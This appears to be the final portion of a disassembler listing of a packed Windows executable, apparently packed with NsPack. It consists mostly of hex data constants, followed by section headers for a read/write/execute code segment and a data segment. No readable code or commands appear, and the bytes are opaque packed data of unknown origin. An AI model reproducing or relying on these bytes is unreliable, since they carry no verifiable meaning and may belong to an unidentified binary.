dd 0A1DA4B34h, 0F1E15F9Ah, 9C0E535Bh, 0F525D5DAh, 0CFC15CDFh
dd 8B116B47h, 5666BB9h, 0C76D00C0h, 2C0F940Ch, 0D5CA0E55h
dd 0FCF238AFh, 0C67F24BAh, 168E704Dh, 0F089B984h, 28F7A8C3h
dd 0A08368E6h, 0DB705269h, 0CA64E93Eh, 52624C52h, 25FDDD79h
dd 20211301h, 0F0E6363Ah, 1A37A84Eh, 40EBF8ECh, 56CE8B43h
dd 0A1DC5911h, 464578B2h, 0A8FD59A8h, 81A47B4Dh, 5C4DFC53h
dd 0FD4671B0h, 863C3F50h, 5973CB9h, 3FDFB3C6h, 65DD9A4h
dd 275E2C70h, 49B89296h, 0CAE4AAACh, 0F5D73D08h, 0F490619h
dd 1EE8FA1Ch, 0E4193EB5h, 0D651C005h, 2787FEF2h, 7D0B8859h
dd 9763E699h, 2E59178Fh, 965153h, 31726176h, 0F3A6082Eh
dd 8E74D6C5h, 7CFE03BCh, 7E0FEC23h, 746DE07Fh, 7B121D97h
dd 0FE9AAF05h, 0F2441C15h, 8B3556BDh, 7B4B909Fh, 0F917C52Eh
dd 99DA2142h, 2CD53B7Bh, 694BF27Dh, 23D1A88Eh, 63920678h
dd 51FEBA99h, 9C36E34Fh, 8305A29Ch, 920A0144h, 0D3CA6289h
dd 0C5CF5E6Ch, 0F23298D9h, 0B7A8D897h, 0FF4C53C1h, 2DD30F06h
dd 71419756h, 0AD90A9C1h, 0FBB1FE0Ah, 0FDB4FA3Fh, 9C9080CCh
dd 2A4D4FCCh, 0DEA32262h, 4839550Fh, 524C74FCh, 307D3C9Fh
dd 0E2D50EEDh, 0B3F8E249h, 3A1C19D5h, 5600D776h, 0C3747BC8h
dd 0D72B17BDh, 91EA70Ah, 985D9081h, 853BFB17h, 0BE6B1791h
dd 0B3CB4DBDh, 68C7C9B0h, 0BE8A97F0h, 1299EF0h, 0EDA9ECC5h
dd 2995FA82h, 1B8BB8EBh, 3ACE4A25h, 4C884B6Dh, 3AC55F72h
dd 8C769AB4h, 25477CD5h, 0E6F1A67h, 8DCCE44Fh, 5FF2272Ah
dd 0AC837126h, 67C77FC9h, 8E8184E0h, 0D6FFA33h, 5D218D5h
dd 3147EE90h, 0B6A04BC6h, 8A74844Ah, 22DB7883h, 1AFA5615h
dd 2F5B8DDDh, 0BFC22382h, 0E9B816B1h, 44A076B9h, 368E149Fh
dd 868D548Ch, 4652FF9Ch, 1C500638h, 0C85FC902h, 35525139h
dd 5ED93582h, 556D2C5Eh, 6255C300h, 0AE77DC97h, 39B11003h
dd 3EA2BDE1h, 487E6556h, 5674D0F4h, 6E049C83h, 0E8D9BDCCh
dd 2D97AD8Ah, 9AEB2EFFh, 7ACEBA1Dh, 0BA69FC84h, 7B6853CCh
dd 0FE140DE4h, 89487FE4h, 0C46174E5h, 4A08107Ch, 0EE4B932h
dd 5F4F0BFh, 0F8A46C12h, 839DE997h, 0BC11723Ah, 0EB7B883Bh
dd 0F67B47D5h, 2EF61464h, 0ABAAF02Dh, 45460E39h, 337578DBh
dd 0B04669BDh, 93AD161Ah, 87E991A6h, 0D0B60528h, 36E40175h
dd 22A019C7h, 0F6A01AD5h, 716C4B7Ah, 40BC4DEAh, 7C38830Ah
dd 6A53F2F4h, 5E6468B3h, 0E3FE4096h, 0B2EAADE2h, 6F172030h
dd 2598FBCFh, 0AEF68CF4h, 57D820A2h, 224CB0B4h, 0C7799B7Fh
dd 54EFC97Fh, 0D39EA4F4h, 62C9E68Bh, 3E61CE74h, 3DDC12E7h
dd 751098D5h, 2CA50A5h, 0E25BE748h, 0E887D540h, 70C5C1EDh
dd 0D0518958h, 2D88D23Ch, 84895D70h, 0B9E8E9Eh, 7A546977h
dd 8584D1E7h, 1E842E31h, 6B9CC30Eh, 79266CB9h, 0C9C20E7Fh
dd 0BB1B467Bh, 3D082560h, 8A2EFEDAh, 2E956BC7h, 68A99E9Ch
dd 0BC654F26h, 33B130D4h, 0C9860AEEh, 963F1D01h, 33D4687Eh
dd 0E57FAA0Ch, 0B0FF3082h, 0DA95D79h, 0E3C57655h, 6279A4CCh
dd 2CC80156h, 0FD60209Fh, 60471ABDh, 0C5F5840Fh, 0DAF78207h
dd 8968E235h, 0CAF65706h, 0EB9477E5h, 2A59CDADh, 0A455BC52h
dd 758B3738h, 0E7B39F22h, 9C51CE75h, 7D1A1DA8h, 17CCD6D2h
dd 0BB2D3929h, 359ACB5Dh, 1683F138h, 1F711498h, 0D07FD907h
dd 4EE344C5h, 9684E870h, 0BB72D748h, 10206C1Fh, 6B2836C7h
dd 0A8F60CF3h, 0D2339643h, 0F99A8C3h, 73D7AD09h, 2DA8E2FDh
dd 0C6627143h, 0DC88F9F6h, 62A14333h, 0ED2A3C8h, 0E64738B7h
dd 85BD027Bh, 2A4D5441h, 0F981D287h, 185BF573h, 0FC8034BCh
dd 0A0D6E67Ah, 705447ECh, 44C61C82h, 0D60BC3F7h, 5C3B63F2h
dd 0D259F74Eh, 908FE25h, 84F1361Dh, 0EA4F7237h, 0DA1CAE94h
dd 0EEBDD5A5h, 0F8985E3Ah, 5649EA72h, 0E4F55C6Ch, 76B83445h
dd 0C3D69B39h, 92923F8Bh, 0B4E8621Fh, 0AA12F096h, 5951ABA7h
dd 82A613AFh, 1EAA6300h, 0BE3B0620h, 0C7ACDAB6h, 0A43712EDh
dd 89A52457h, 46CE3DB6h, 95829A39h, 8DF4FF0Ah, 9A4DD713h
dd 0B6217C94h, 0E6405BB5h, 2B3ED70Fh, 78CA1C6Bh, 0A9594D0h
dd 5E1888CDh, 6A1634BFh, 4F4F527Ch, 82F20BD0h, 0EFADE324h
dd 3214A890h, 1FBF8A35h, 85A6ADBBh, 0C60ABADCh, 566E4F01h
dd 9A7046F9h, 9252FA97h, 1D4C6A9Bh, 5DD5A567h, 8E72774Ch
dd 0DB5ABD42h, 0A70738F8h, 9EE289DDh, 0C62D7829h, 87FB5F63h
dd 0AB11F1F4h, 108A2F19h, 710E1211h, 935EFD93h, 4BFDBB68h
dd 9381130Bh, 97249612h, 522356A2h, 2BF03E63h, 571F1BBDh
dd 14F8F14Dh, 23F58Bh, 7861D080h, 71FF6B46h, 2D3A2AF7h
dd 0D3CA6289h, 0C5CF5E6Ch, 0F23298D9h, 0B7A8D897h, 0FF4C53C1h
dd 2DD30F06h, 71419756h, 0AD90A9C1h, 0FBB1FE0Ah, 0FDB4FA3Fh
dd 9C9080CCh, 2A4D4FCCh, 0DEA32262h, 4839550Fh, 524C74FCh
dd 307D3C9Fh, 0E2D50EEDh, 0B3F8E249h, 3A1C19D5h, 5600D776h
dd 0C3747BC8h, 0D72B17BDh, 91EA70Ah, 985D9081h, 853BFB17h
dd 0BE6B1791h, 0B3CB4DBDh, 68C7C9B0h, 0BE8A97F0h, 1299EF0h
dd 0EDA9ECC5h, 2995FA82h, 1B8BB8EBh, 3ACE4A25h, 200h dup(0)
_nsp1 ends
; Section 3. (virtual address 00095000)
; Virtual size : 00000AB9 ( 2745.)
; Section size in file : 00000AB9 ( 2745.)
; Offset to raw data for section: 00095000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp2 segment para public 'CODE' use32
assume cs:_nsp2
;org 495000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 2AEh dup(0)
db 0
_nsp2 ends
; Section 4. (virtual address 00096000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00095C00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 496000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start